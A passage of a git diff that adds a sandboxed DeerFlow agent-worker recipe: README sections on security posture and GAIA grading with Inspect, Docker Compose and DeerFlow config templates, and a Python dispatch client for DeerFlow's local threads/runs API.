fills those columns only for encrypted reasoning. Rows with zero reasoning do not falsely fail a max check, but a run with no observed max reasoning row cannot establish max effort. + +Engines-on snapshots `GET http://127.0.0.1:20129/api/analytics/compression?since=all` before/after the run. It reports deltas of `totalRequests`, `totalTokensSaved` and `totalSkipped` separately from SQL/provider counters. These are gateway-wide analytics; other traffic can contribute. Counter resets, missing fields or denied management access remain unknown. Source: OmniRoute@a58000c [src/app/api/analytics/compression/route.ts:13–24](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/app/api/analytics/compression/route.ts#L13) and [src/lib/db/compressionAnalytics.ts:52–82](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/lib/db/compressionAnalytics.ts#L52). No analytics request was made in this repair session. + +Native skill/tool observations remain worker-reported. Both pinned ToolMessage serializations omit top-level status; a skill read must now contain its frontmatter `name:` before it can count. A returned result is not semantic success certification. Source: DeerFlow@345f08be [backend/packages/harness/deerflow/client.py:527–564](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/client.py#L527). Raw traces and gated GAIA data remain private. + +## Security posture + +All model execution stays in the rootless Docker context. No host HOME, Docker socket, host-network mode, host PID namespace or host-executing MCP is exposed. The internal worker network has no external default route. A separate nginx forwarder joins that network and an egress network, forwarding only POST `/v1/responses` and `/v1/chat/completions` to the selected, fixed `10.0.2.2:20128` or `:20129`. Caller-controlled destinations and CONNECT are not forwarded. Every other path is denied. Gateway shells cannot use that service to reach ai-memory, Qdrant, the other gateway port, or arbitrary host listeners. **This is source-backed configuration, not a measured reachability claim**: verify direct host/bridge routes and allowed/denied ports under the actual rootless daemon before E2E. + +Sources: **compose-spec/compose-spec@914ec15d1fa498969c0df5c1d672306db3256089**, [06-networks.md:215–218](https://github.com/compose-spec/compose-spec/blob/914ec15d1fa498969c0df5c1d672306db3256089/06-networks.md#L215), [05-services.md:171–175,1839–1841,1955–1963,2029–2046,2080–2082](https://github.com/compose-spec/compose-spec/blob/914ec15d1fa498969c0df5c1d672306db3256089/05-services.md#L171); **nginx/nginx@release-1.28.0**, [src/http/modules/ngx_http_proxy_module.c:305–358,417–457](https://github.com/nginx/nginx/blob/release-1.28.0/src/http/modules/ngx_http_proxy_module.c#L305). The forwarder reuses the existing digest-pinned nginx image; its actual binary/config acceptance remains a host gate. + +This narrow forwarding policy also blocks general web egress. Raw ai-memory HTTP and SocratiCode's Qdrant/embedding connections are disabled, and their former ports are not forwarded. They need separately qualified authenticated/scoped service adapters before re-enabling. Public-web GAIA tasks therefore remain unqualified under this network policy. The four in-container stdio servers remain configured: context-mode, Serena, jCodeMunch and lexical QMD. Serena's dashboard and GUI log window are off. Native disabled-server handling is DeerFlow@345f08be `config/extensions_config.py:209–215,559–565`; the existing adoption command is preserved apart from the explicit Serena dashboard flag. + +Every service drops ALL capabilities, sets `no-new-privileges:true`, and has a read-only root with explicit writable state/tmpfs. nginx and the egress forwarder run as UID/GID `101:101`. Gateway, frontend and Redis retain the release/default UID: **the blanket non-root override is declined in this round**, because the current rootless bind state and private configuration are host-owned 0700/0600 and no mapped-UID lifecycle has been qualified. An arbitrary UID would make the installed recipe unreadable/unwritable. This residual is explicit, not a non-root claim. Source: DeerFlow@345f08be [backend/Dockerfile:94–127](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/Dockerfile#L94) and Compose's `user` override cited above. Rootless container root is not host root, but writable binds remain in its trust domain. + +Each E2E attempt builds a fresh two-service Compose project and unique internal/egress networks. It mounts new `/state` and `/work`, copies an immutable host-retained QMD seed, and never inherits the persistent stack's `env_file`, JWT store, internal token, Redis connection or shared writable MCP state. Skills/config/dependencies are read-only; events, input hashes, status, grading logs, forwarding logs and receipts are host-written outside model-writable mounts. Shutdown removes only that owned project and reports failed cleanup as incomplete. Persistent Redis now requires a private mode-0600 password, read into its config without putting the value on argv: **redis/redis@7.4.2**, [redis.conf:1041–1050](https://github.com/redis/redis/blob/7.4.2/redis.conf#L1041). The persistent Gateway's own local execution and authentication state remain one single-user trust domain; this is not a multi-tenant sandbox. + +Resolved dependency mounts are allowlisted to adopted `bin`, versioned `tools/-` prefixes and the declared four QMD collections. Resolved credential paths, their ancestors/descendants, home ancestors, socket files, writable shared mounts and symlink escapes are refused. Required interpreter/library targets must fit that narrow layout and be available in the backend container; host preflight must establish it. No host authentication store was read in this repair. + +The grader's 96-package lock targets Linux x86_64 / CPython 3.13. It was compiled with **astral-sh/uv@0.12.17**, [docs/pip/compile.md:24–28](https://github.com/astral-sh/uv/blob/0.12.17/docs/pip/compile.md#L24), and installed CLI `uv pip compile --help` (`--generate-hashes`, `--only-binary`, `--no-build`). A second wheel-only resolution reproduced the lock hash. `install_grader` verifies that hash, installs with pip `--require-hashes --only-binary=:all: --no-deps`, then runs `pip check` and checks the exact Inspect versions. No package was installed during this repair. The lock source/hash are in [pins.json](pins.json). Other platforms/Python versions require a newly compiled reviewed lock. + +## Installation and official GAIA grading + +The coordinator prepares [host.json.example](host.json.example) in a private mode-0600 file, installs the separately owned skills manifest using the existing project/universal installer, and supplies the native rootless Docker executable and adopted in-container dependencies. The skills manifest/CLI extension remains a separate coordinator dependency. The QMD seed must contain exactly the four adopted nonempty collections; SQLite backup reads the original in read-only mode. Source: **tobi/qmd@v2.8.3**, `src/collections.ts:101–125`, `src/store.ts:636–653,1181–1270` (same selected reference as round 2). + +```sh +rtk env PYTHONDONTWRITEBYTECODE=1 bash blueprints/runtime-workers/deerflow/install.sh /private/path/deerflow-host.json +rtk env PYTHONDONTWRITEBYTECODE=1 bash blueprints/runtime-workers/deerflow/lifecycle.sh check +rtk env PYTHONDONTWRITEBYTECODE=1 bash blueprints/runtime-workers/deerflow/lifecycle.sh upstream-tests +rtk env PYTHONDONTWRITEBYTECODE=1 RUNTIME_WORKER_ARM=control \ + bash blueprints/runtime-workers/deerflow/run-e2e.sh FROZEN_GAIA_VALIDATION_ID gaia-control-001 +rtk env PYTHONDONTWRITEBYTECODE=1 RUNTIME_WORKER_ARM=engines-on \ + bash blueprints/runtime-workers/deerflow/run-e2e.sh FROZEN_GAIA_VALIDATION_ID gaia-engines-001 +rtk env PYTHONDONTWRITEBYTECODE=1 bash blueprints/runtime-workers/deerflow/lifecycle.sh down +``` + +The host publishes only nginx on `127.0.0.1:3771`. Prefix is `$HOME/.local/share/codex-ecosystem/tools/deerflow-2.1.0`; state is the private root documented above. Install copies the reviewed dispatch entry point and dependencies there without starting services. `check` is configuration/MCP/skill discovery; `upstream-tests` selects the unchanged model-factory, MCP-client-config and embedded-client tests through upstream pytest. `down` removes the five literal owned service names and two named networks while preserving persistent bind data. All resources retain the `com.native-agent-stack.owner=gpt6-omniroute-framework-integration` label. + +GAIA uses **UKGovernmentBEIS/inspect_evals@41c72eaa2b807ce43f35fac6f3f399318adc7e9d** (`v0.22.0`) and **UKGovernmentBEIS/inspect_ai@c2b63a0b0560f9c3b5b5230365e0a8fe08cd3df0** (`0.3.271`). Dataset revision remains `682dd723ee1e1697e00360edccf2366dc8418dd9`, validation split, frozen no-attachment IDs. The existing adapter preserves the upstream dataset, input instructions, answer target, `gaia_scorer` and metrics. Only the worker transport is replaced. No upstream grading container or grader resource limit is modified. Sources: Inspect Evals@v0.22.0 `src/inspect_evals/gaia/{gaia.py,dataset.py,scorer.py,README.md}` and `tests/gaia/test_scorer.py`; the attachment-free prompt expansion is `dataset.py:78–104`. + +[run-e2e.sh](run-e2e.sh) now uses Inspect's built-in **`--model none`**, `--log-format json`, explicit arm/model/base-URL metadata, and deterministic `runs//inspect` logs. It neither needs the optional OpenAI provider nor supplies `OPENAI_API_KEY` or a model base URL to Inspect. Source: Inspect AI@0.3.271 [src/inspect_ai/model/_providers/providers.py:361–365](https://github.com/UKGovernmentBEIS/inspect_ai/blob/0.3.271/src/inspect_ai/model/_providers/providers.py#L361). Inspect's process exit indicates eval completion, not answer correctness: [_cli/eval.py:1681–1682](https://github.com/UKGovernmentBEIS/inspect_ai/blob/0.3.271/src/inspect_ai/_cli/eval.py#L1681). + +`runs//result.json` gives the exact native JSON log path, Inspect exit, mapped verdict and receipt path. `status.json` exists before Inspect starts. The adapter reads the unchanged `results.scores[].metrics.accuracy.value` and completion counts; accuracy below 1 yields exit 1. Accuracy 1 still needs matching completed attempts, cleanup, skill-read observations and independent max/usage evidence before exit 0. `DEERFLOW_EPOCHS` defaults to 1. Source: Inspect AI@0.3.271 [src/inspect_ai/log/_log.py:798–820,848–895](https://github.com/UKGovernmentBEIS/inspect_ai/blob/0.3.271/src/inspect_ai/log/_log.py#L798). + +Freeze the same IDs, prompts, versions, skills, budgets and task contract across the two arms; counterbalance order. Preserve failures. Provider rows, framework counters, compression analytics, official correctness and native lifecycle acceptance are separate evidence. Neither these local tests nor a version check is a new model run, a GAIA score or proof of savings. + +The coordinator must re-register changed hashes in `manifests/evidence.json` and rerun `python3 scripts/validate.py`. This worker deliberately leaves that shared file and all Git metadata unchanged. diff --git a/blueprints/runtime-workers/deerflow/compose.json.template b/blueprints/runtime-workers/deerflow/compose.json.template new file mode 100644 index 000000000..996f5a8e8 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/compose.json.template @@ -0,0 +1,233 @@ +{ + "name": "rw-deerflow", + "services": { + "redis": { + "image": "${IMAGE_REDIS}", + "pull_policy": "never", + "command": [], + "volumes": [], + "healthcheck": { + "test": [ + "CMD-SHELL", + "REDISCLI_AUTH=$$(cat /run/secrets/redis-password) redis-cli -h \"$$(hostname -i)\" ping" + ], + "interval": "5s", + "timeout": "3s", + "retries": 10 + }, + "entrypoint": [ + "/runtime/redis-start.sh" + ], + "container_name": "rw-deerflow-redis", + "labels": { + "com.native-agent-stack.owner": "gpt6-omniroute-framework-integration" + }, + "cap_drop": [ + "ALL" + ], + "security_opt": [ + "no-new-privileges:true" + ], + "read_only": true, + "tmpfs": [ + "/tmp:rw,nosuid,nodev,mode=1777" + ], + "networks": [ + "default" + ], + "user": "0:0" + }, + "gateway": { + "image": "${IMAGE_GATEWAY}", + "pull_policy": "never", + "init": true, + "working_dir": "/work", + "command": [ + "/runtime/gateway-start.sh" + ], + "env_file": [], + "environment": { + "DEERFLOW_MODEL": "${DEERFLOW_MODEL}", + "DEERFLOW_BASE_URL": "${DEERFLOW_BASE_URL}", + "RUNTIME_WORKER_ARM": "${RUNTIME_WORKER_ARM}", + "DEER_FLOW_PROJECT_ROOT": "/work", + "DEER_FLOW_HOME": "/state/deerflow", + "DEERFLOW_SQLITE_DIR": "/state/deerflow/data", + "DEER_FLOW_CONFIG_PATH": "/config/config.yaml", + "DEER_FLOW_EXTENSIONS_CONFIG_PATH": "/config/extensions_config.json", + "DEER_FLOW_SKILLS_PATH": "/skills", + "DEER_FLOW_STREAM_BRIDGE_REDIS_URL": "redis://redis:6379/0", + "PYTHONPATH": "/runtime:/app/backend", + "HOME": "/state/mcp/home", + "XDG_CACHE_HOME": "/state/cache", + "XDG_CONFIG_HOME": "/state/config", + "XDG_STATE_HOME": "/state/mcp/state", + "UV_CACHE_DIR": "/state/cache/uv", + "LANGSMITH_TRACING": "false", + "LANGFUSE_TRACING": "false", + "MONOCLE_TRACING": "false", + "CHUB_TELEMETRY": "0", + "CHUB_FEEDBACK": "0", + "DO_NOT_TRACK": "1", + "PYTHONDONTWRITEBYTECODE": "1", + "HTTP_PROXY": "http://egress:3128", + "HTTPS_PROXY": "http://egress:3128", + "NO_PROXY": "localhost,127.0.0.1,redis,gateway,frontend" + }, + "volumes": [], + "depends_on": { + "redis": { + "condition": "service_healthy" + } + }, + "healthcheck": { + "test": [ + "CMD", + "/app/backend/.venv/bin/python", + "-c", + "import socket,urllib.request; urllib.request.urlopen('http://'+socket.gethostbyname(socket.gethostname())+':8001/health/ready',timeout=5)" + ], + "interval": "5s", + "timeout": "6s", + "retries": 30 + }, + "mem_limit": "6g", + "pids_limit": 512, + "container_name": "rw-deerflow-gateway", + "labels": { + "com.native-agent-stack.owner": "gpt6-omniroute-framework-integration" + }, + "cap_drop": [ + "ALL" + ], + "security_opt": [ + "no-new-privileges:true" + ], + "read_only": true, + "tmpfs": [ + "/tmp:rw,nosuid,nodev,mode=1777" + ], + "networks": [ + "default" + ] + }, + "frontend": { + "image": "${IMAGE_FRONTEND}", + "pull_policy": "never", + "command": [ + "/runtime/frontend-start.sh" + ], + "env_file": [], + "environment": { + "DEER_FLOW_INTERNAL_GATEWAY_BASE_URL": "http://gateway:8001", + "DEER_FLOW_TRUSTED_ORIGINS": "http://127.0.0.1:3771", + "NEXT_TELEMETRY_DISABLED": "1" + }, + "volumes": [], + "container_name": "rw-deerflow-frontend", + "labels": { + "com.native-agent-stack.owner": "gpt6-omniroute-framework-integration" + }, + "cap_drop": [ + "ALL" + ], + "security_opt": [ + "no-new-privileges:true" + ], + "read_only": true, + "tmpfs": [ + "/tmp:rw,nosuid,nodev,mode=1777" + ], + "networks": [ + "default" + ] + }, + "nginx": { + "user": "101:101", + "image": "${IMAGE_NGINX}", + "pull_policy": "never", + "command": [ + "/runtime/nginx-start.sh" + ], + "ports": [ + "127.0.0.1:3771:2026" + ], + "volumes": [], + "depends_on": { + "frontend": { + "condition": "service_started" + }, + "gateway": { + "condition": "service_healthy" + } + }, + "container_name": "rw-deerflow-nginx", + "labels": { + "com.native-agent-stack.owner": "gpt6-omniroute-framework-integration" + }, + "cap_drop": [ + "ALL" + ], + "security_opt": [ + "no-new-privileges:true" + ], + "read_only": true, + "tmpfs": [ + "/tmp:rw,nosuid,nodev,mode=1777", + "/var/cache/nginx:rw,nosuid,nodev,uid=101,gid=101", + "/var/run:rw,nosuid,nodev,uid=101,gid=101" + ], + "networks": [ + "default" + ] + }, + "egress": { + "image": "${IMAGE_NGINX}", + "pull_policy": "never", + "container_name": "rw-deerflow-egress", + "entrypoint": [ + "nginx" + ], + "command": [ + "-c", + "/config/egress.conf", + "-g", + "daemon off;" + ], + "networks": [ + "default", + "egress" + ], + "volumes": [], + "labels": { + "com.native-agent-stack.owner": "gpt6-omniroute-framework-integration" + }, + "user": "101:101", + "cap_drop": [ + "ALL" + ], + "security_opt": [ + "no-new-privileges:true" + ], + "read_only": true, + "tmpfs": [ + "/tmp:rw,nosuid,nodev,mode=1777" + ] + } + }, + "networks": { + "default": { + "name": "rw-deerflow-network", + "labels": { + "com.native-agent-stack.owner": "gpt6-omniroute-framework-integration" + }, + "internal": true + }, + "egress": { + "name": "rw-deerflow-egress-network", + "labels": { + "com.native-agent-stack.owner": "gpt6-omniroute-framework-integration" + } + } + } +} diff --git a/blueprints/runtime-workers/deerflow/config.yaml.template b/blueprints/runtime-workers/deerflow/config.yaml.template new file mode 100644 index 000000000..26a7bf82e --- /dev/null +++ b/blueprints/runtime-workers/deerflow/config.yaml.template @@ -0,0 +1,162 @@ +{ + "models": [ + { + "name": "worker", + "display_name": "OmniRoute worker", + "use": "gateway_model:ChatOpenAI", + "model": "$DEERFLOW_MODEL", + "base_url": "$DEERFLOW_BASE_URL", + "api_key": "local-loopback", + "use_responses_api": true, + "use_previous_response_id": false, + "output_version": "responses/v1", + "streaming": true, + "stream_usage": true, + "include_response_headers": true, + "openai_proxy": "http://egress:3128", + "supports_reasoning_effort": false, + "max_retries": 2, + "timeout": 180, + "supports_thinking": true + } + ], + "tools": [ + { + "name": "ls", + "group": "file:read", + "use": "deerflow.sandbox.tools:ls_tool" + }, + { + "name": "read_file", + "group": "file:read", + "use": "deerflow.sandbox.tools:read_file_tool" + }, + { + "name": "glob", + "group": "file:read", + "use": "deerflow.sandbox.tools:glob_tool" + }, + { + "name": "grep", + "group": "file:read", + "use": "deerflow.sandbox.tools:grep_tool" + }, + { + "name": "write_file", + "group": "file:write", + "use": "deerflow.sandbox.tools:write_file_tool" + }, + { + "name": "str_replace", + "group": "file:write", + "use": "deerflow.sandbox.tools:str_replace_tool" + }, + { + "name": "bash", + "group": "bash", + "use": "deerflow.sandbox.tools:bash_tool" + } + ], + "tool_groups": [ + { + "name": "file:read" + }, + { + "name": "file:write" + }, + { + "name": "bash" + } + ], + "sandbox": { + "use": "deerflow.sandbox.local:LocalSandboxProvider", + "allow_host_bash": true, + "bash_output_max_chars": 20000, + "read_file_output_max_chars": 50000, + "ls_output_max_chars": 20000, + "mounts": [ + { + "host_path": "/work", + "container_path": "/work", + "read_only": false + } + ], + "bash_command_timeout": 120 + }, + "summarization": { + "enabled": true, + "model_name": "worker", + "trigger": [ + { + "type": "tokens", + "value": 24000 + }, + { + "type": "messages", + "value": 50 + } + ], + "keep": { + "type": "messages", + "value": 20 + }, + "trim_tokens_to_summarize": 12000 + }, + "tool_output": { + "enabled": true, + "externalize_min_chars": 12000, + "preview_head_chars": 2000, + "preview_tail_chars": 1000, + "fallback_max_chars": 16000, + "fallback_head_chars": 8000, + "fallback_tail_chars": 3000, + "elide_superseded_writes": true + }, + "token_budget": { + "enabled": true, + "max_tokens": 250000, + "warn_threshold": 0.8, + "hard_stop_threshold": 1 + }, + "tool_search": { + "enabled": true, + "auto_promote_top_k": 2 + }, + "skills": { + "path": "/skills", + "container_path": "/mnt/skills", + "deferred_discovery": true + }, + "subagent_runtime": { + "max_running": 2, + "max_queued": 2, + "admission_policy": "reject", + "queue_timeout_seconds": 120 + }, + "subagents": { + "max_total_per_run": 2, + "max_turns": 30, + "timeout_seconds": 900, + "token_budget": { + "enabled": true, + "max_tokens": 125000, + "warn_threshold": 0.8 + } + }, + "authorization": { + "enabled": true, + "fail_closed": true, + "default_role": "worker", + "provider": { + "use": "worker_policy:WorkerAuthorization", + "config": {} + } + }, + "memory": { + "enabled": false + }, + "database": { + "backend": "sqlite", + "sqlite_dir": "$DEERFLOW_SQLITE_DIR" + } +} diff --git a/blueprints/runtime-workers/deerflow/deerflow-run b/blueprints/runtime-workers/deerflow/deerflow-run new file mode 100644 index 000000000..94636265c --- /dev/null +++ b/blueprints/runtime-workers/deerflow/deerflow-run @@ -0,0 +1,9 @@ +#!/usr/bin/env bash +# bytedance/deer-flow@345f08be skills/public/claude-to-deerflow/scripts/chat.sh:24-90 +# and backend/docs/API.md. Adds PAT auth and durable background create/poll. +# Python sends the Bearer header in-process, never in curl argv or shell output. +set -euo pipefail +umask 077 +export PYTHONDONTWRITEBYTECODE=1 +recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +exec python3 "$recipe_dir/dispatch.py" "$@" diff --git a/blueprints/runtime-workers/deerflow/defaults.json b/blueprints/runtime-workers/deerflow/defaults.json new file mode 100644 index 000000000..8ab99ae0a --- /dev/null +++ b/blueprints/runtime-workers/deerflow/defaults.json @@ -0,0 +1,6 @@ +{ + "model": "cx/gpt-6-astra-max", + "host_gateway": "http://127.0.0.1:20128/v1", + "container_gateway": "http://10.0.2.2:20128/v1", + "port": 3771 +} diff --git a/blueprints/runtime-workers/deerflow/dispatch.py b/blueprints/runtime-workers/deerflow/dispatch.py new file mode 100644 index 000000000..9ba1c63f6 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/dispatch.py @@ -0,0 +1,286 @@ +"""Bash workflow adapter for DeerFlow's native Gateway, not an MCP server. + +Reference: bytedance/deer-flow@345f08be00c8a9495079b732a39b46aa9af1584e +skills/public/claude-to-deerflow/scripts/chat.sh:24-90,140-164; +backend/app/gateway/routers/thread_runs.py:223-242,923-939,1143-1168,1528-1560; +backend/app/gateway/auth/pat.py:28-40,53-116. Deviations: Bearer PAT auth, +background create/poll, stable private host artifacts, explicit arm/evidence exits. +""" +from __future__ import annotations + +import argparse +import fcntl +import hashlib +import json +import os +from pathlib import Path +import re +import stat +import subprocess +import sys +import time +from urllib.parse import quote +from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener +import uuid + +from recipe import HERE, REPO, STATE, arm_settings, read, usage_database, write +sys.path.insert(0, str(HERE / "e2e")) +from receipt import compression_delta, compression_snapshot, gateway_observation + +MODES = {"flash":(False,False,False), "standard":(True,False,False), + "pro":(True,True,False), "ultra":(True,True,True)} +COUNTERS = ("llm_call_count", "total_tokens", "total_input_tokens", "total_output_tokens", "message_count") + + +class NoRedirect(HTTPRedirectHandler): + def redirect_request(self, req, fp, code, msg, headers, newurl): + return None + + +def api(method, path, body=None, headers=None): + base = os.environ.get("DEERFLOW_URL", "http://127.0.0.1:3771").rstrip("/") + if base != "http://127.0.0.1:3771" or not path.startswith("/threads"): + raise ValueError("dispatch is restricted to the local DeerFlow threads/runs API") + token_path = Path(os.environ["DEERFLOW_PAT_FILE"]) + if token_path.resolve().is_relative_to(REPO.resolve()): + raise ValueError("PAT must be outside every worktree") + with os.fdopen(os.open(token_path, os.O_RDONLY | os.O_NOFOLLOW), "r") as source: + info = os.fstat(source.fileno()) + if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077 or info.st_uid != os.getuid(): + raise ValueError("PAT file must be owned by the caller with mode 0600") + token = source.read(4097).strip() + if not re.fullmatch(r"dfp_[A-Za-z0-9]{16,128}", token): + raise ValueError("invalid PAT file") + request = Request(base + "/api/langgraph" + path, + data=json.dumps(body).encode() if body is not None else None, method=method, + headers={**(headers or {}), "Content-Type":"application/json", "Authorization":"Bearer " + token}) + with build_opener(ProxyHandler({}), NoRedirect()).open(request, timeout=30) as response: + raw = response.read(16_000_001) + if len(raw) > 16_000_000: + raise ValueError("DeerFlow response exceeds bound") + data = json.loads(raw) if raw else {} + trace = response.headers.get("X-Trace-Id") + return data, trace + + +def require_server_arm(selection): + """Inspect immutable launch labels, never Config.Env (which contains secrets).""" + settings = read(STATE / "host.json") + response = subprocess.run([settings["docker_bin"], "--context", "rootless", "inspect", + "--format", "{{json .Config.Labels}}", "rw-deerflow-gateway"], + capture_output=True, text=True, check=True, timeout=15) + labels = json.loads(response.stdout) + for name in ("arm", "model", "base_url"): + if labels.get("com.native-agent-stack." + name) != selection[name]: + raise ValueError("running DeerFlow service does not match the selected arm; coordinator must switch lifecycle") + + +def directory(run_id): + if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_-]{0,63}", run_id): + raise ValueError("invalid stable run ID") + run = STATE / "dispatch" / run_id + if run.is_symlink(): + raise ValueError("run directory cannot be a symlink") + return run + + +def pointers(run): + return {"status_path":str(run / "status.json"), "result_path":str(run / "result.json"), + "receipt_path":str(run / "receipt.json")} + + +def state_for(run_id, arm): + run = directory(run_id) + state = read(run / "status.json") + if state["arm"] != arm: + raise ValueError("arm must match the stored run") + return run, state + + +def start(run_id, arm, prompt, mode, caller): + if not prompt.strip() or mode not in MODES or not re.fullmatch(r"[A-Za-z0-9_./:-]{1,160}", caller): + raise ValueError("a prompt, supported mode and bounded caller name are required") + selection = arm_settings(read(STATE / "host.json") if (STATE / "host.json").is_file() else {}, arm) + run = directory(run_id) + run.parent.mkdir(parents=True, exist_ok=True, mode=0o700) + digest = hashlib.sha256(prompt.encode()).hexdigest() + with (STATE / "dispatch.lock").open("a") as lock: + fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) + if run.exists(): + _, state = state_for(run_id, arm) + if state.get("prompt_sha256") != digest or state.get("mode") != mode or state.get("caller") != caller: + raise ValueError("stable run ID is already assigned to another invocation") + if state.get("run_id"): + return 0, {**pointers(run), "thread_id":state["thread_id"], "run_id":state["run_id"]} + else: + run.mkdir(mode=0o700) + state = {**selection, "status":"starting", "start_epoch":time.time(), "end_epoch":None, + "mode":mode, "caller":caller, "prompt_sha256":digest, "idempotency_key":str(uuid.uuid4())} + write(run / "status.json", state) + write(run / "result.json", {"verdict":"incomplete", "exit_code":3, **pointers(run)}) + try: + require_server_arm(selection) + for other in run.parent.glob("*/status.json"): + if other.parent != run and read(other).get("status") in {"starting", "pending", "running"}: + raise ValueError("another dispatch is active; wait for it first") + if "compression_before" not in state: + state["compression_before"] = compression_snapshot(arm) + if not state.get("thread_id"): + thread, trace = api("POST", "/threads", {}) + state.update(thread_id=thread["thread_id"], trace_id=trace) + write(run / "status.json", state) + tid = state["thread_id"] + thinking, plan, children = MODES[mode] + body = {"assistant_id":"lead_agent", "input":{"messages":[{"type":"human", + "content":[{"type":"text","text":prompt}]}]}, "config":{"recursion_limit":1000}, + "context":{"thinking_enabled":thinking, "is_plan_mode":plan, + "subagent_enabled":children, "thread_id":tid, "model_name":"worker"}, + "metadata":{"source":"claude-code", "caller":caller, "arm":arm, "dispatch_id":run_id}, + "on_disconnect":"continue"} + native, trace = api("POST", "/threads/" + quote(tid, safe="") + "/runs", body, + {"Idempotency-Key":state["idempotency_key"]}) + state.update(run_id=native["run_id"], status=native["status"], trace_id=trace) + write(run / "status.json", state) + ledger = STATE / "dispatch.jsonl" + with os.fdopen(os.open(ledger, os.O_WRONLY | os.O_CREAT | os.O_APPEND | os.O_NOFOLLOW, 0o600), "a") as output: + os.fchmod(output.fileno(), 0o600) + output.write(json.dumps({"ts":time.time(), "thread_id":tid, "run_id":state["run_id"], + "status":state["status"], "trace_id":trace, "caller":caller, "arm":arm}) + "\n") + return 0, {**pointers(run), "thread_id":tid, "run_id":state["run_id"]} + except (OSError, ValueError, KeyError, subprocess.SubprocessError) as exc: + # A timed-out create may already have started on the server. Keep + # the slot occupied; retry this same ID/body/Idempotency-Key safely. + code = 3 if state.get("thread_id") else 2 + state.update(status="pending" if code == 3 else "setup-failure", error_class=type(exc).__name__) + write(run / "status.json", state) + write(run / "result.json", {"verdict":"incomplete" if code == 3 else "setup-failure", "exit_code":code, **pointers(run)}) + return code, {**pointers(run), "exit_code":code, "error_class":type(exc).__name__} + + +def run_path(state): + return "/threads/" + quote(state["thread_id"], safe="") + "/runs/" + quote(state["run_id"], safe="") + + +def wait_run(run_id, arm, timeout, interval): + if timeout < 0 or interval <= 0: + raise ValueError("timeout must be nonnegative and interval positive") + run, state = state_for(run_id, arm) + deadline = time.monotonic() + timeout + while True: + native, trace = api("GET", run_path(state)) + status = native.get("status") + state.update(status=status, trace_id=trace, server_reported={ + k:native[k] if type(native.get(k)) is int and native[k] >= 0 else None for k in COUNTERS}) + write(run / "status.json", state) + if status not in {"pending", "running"}: + if state.get("end_epoch") is None: + state.update(end_epoch=time.time(), compression_after=compression_snapshot(arm)) + write(run / "status.json", state) + code = 0 if status == "success" else 1 if status in {"error", "timeout", "cancelled"} else 3 + write(run / "result.json", {**pointers(run), "status":status, "exit_code":code if code else 3, + "verdict":"negative" if code == 1 else "incomplete"}) + return code, {**pointers(run), "status":status, "stop_reason":native.get("stop_reason"), + **state["server_reported"], "updated_at":native.get("updated_at")} + remaining = deadline - time.monotonic() + if remaining <= 0: + return 3, {**pointers(run), "status":status, "exit_code":3} + time.sleep(min(interval, remaining)) + + +def result_run(run_id, arm): + code, observed = wait_run(run_id, arm, 0, 1) + run, state = state_for(run_id, arm) + if code: + return code, observed + messages, before = [], None + for _ in range(50): + path = run_path(state) + "/messages?limit=200" + ("&before_seq=" + str(before) if before is not None else "") + page, _ = api("GET", path) + data = page["data"] + if not isinstance(data, list): + raise ValueError("unsupported native messages page") + messages = data + messages + if not page["has_more"]: + break + next_before = min(m["seq"] for m in data) + if before is not None and next_before >= before: + raise ValueError("messages pagination did not advance") + before = next_before + else: + return 3, {**pointers(run), "exit_code":3, "status":"message-bound-reached"} + answer = "" + correlations = set() + for event in messages: + # /messages returns RunEvent envelopes, unlike chat.sh's SSE values. + # DeerFlow@345f08be runtime/journal.py:13,124,153-173 stores model_dump + # in event.content; runtime/events/store/base.py:32-43,54-55 defines it. + message = event.get("content") + if event.get("category") != "message" or not isinstance(message, dict): + continue + headers = (message.get("response_metadata") or {}).get("headers", {}) + for key, value in headers.items(): + if key.lower() == "x-correlation-id" and isinstance(value, str): + correlations.add(value) + caller = event.get("metadata", {}).get("caller", "lead_agent") + if (message.get("type") == "ai" and not message.get("tool_calls") + and caller == "lead_agent" and not message.get("additional_kwargs", {}).get("hide_from_ui")): + content = message.get("content", "") + text = content if isinstance(content, str) else "\n".join( + p.get("text", "") for p in content if isinstance(p, dict) and p.get("type") in {"text", "output_text"}) + if text.strip(): + answer = text + gateway = gateway_observation(usage_database(arm), state, correlations) + counters = state["server_reported"] + complete = (bool(answer) and gateway.get("evidence_complete") + and type(counters.get("llm_call_count")) is int and counters["llm_call_count"] > 0 + and len(correlations) == counters["llm_call_count"]) + code = 0 if complete else 3 + selection = {k:state[k] for k in ("arm", "model", "base_url", "header_names", "reasoning_effort")} + receipt = {**selection, "verdict":"pass" if complete else "incomplete", "exit_code":code, + "scope":"native run completion and independent entry-gateway evidence; no answer-quality grader", + "server_reported":counters, "gateway":gateway, + "compression":compression_delta(state.get("compression_before", {}), state.get("compression_after", {})), + "invocation_count":1, "answer_sha256":hashlib.sha256(answer.encode()).hexdigest()} + write(run / "receipt.json", receipt) + result = {**pointers(run), "exit_code":code, "verdict":receipt["verdict"], "answer":answer} + write(run / "result.json", result) + return code, result + + +def cancel(run_id, arm): + run, state = state_for(run_id, arm) + api("POST", run_path(state) + "/cancel", {}) + return 3, {**pointers(run), "status":"cancel-requested", "exit_code":3} + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("action", choices=("start", "wait", "result", "cancel")) + parser.add_argument("prompt", nargs="?") + parser.add_argument("--run-id", required=True) + parser.add_argument("--arm", choices=("control", "engines-on"), default=os.environ.get("RUNTIME_WORKER_ARM", "control")) + parser.add_argument("--caller", default="claude-code/workflow") + parser.add_argument("--mode", choices=tuple(MODES), default="pro") + parser.add_argument("--timeout", type=float, default=540) + parser.add_argument("--interval", type=float, default=10) + # The prompt may follow the options (start --run-id ID PROMPT). parse_args() on Python 3.12 binds the optional + # positional before the options and then rejects PROMPT; intermixed parsing is argparse's documented 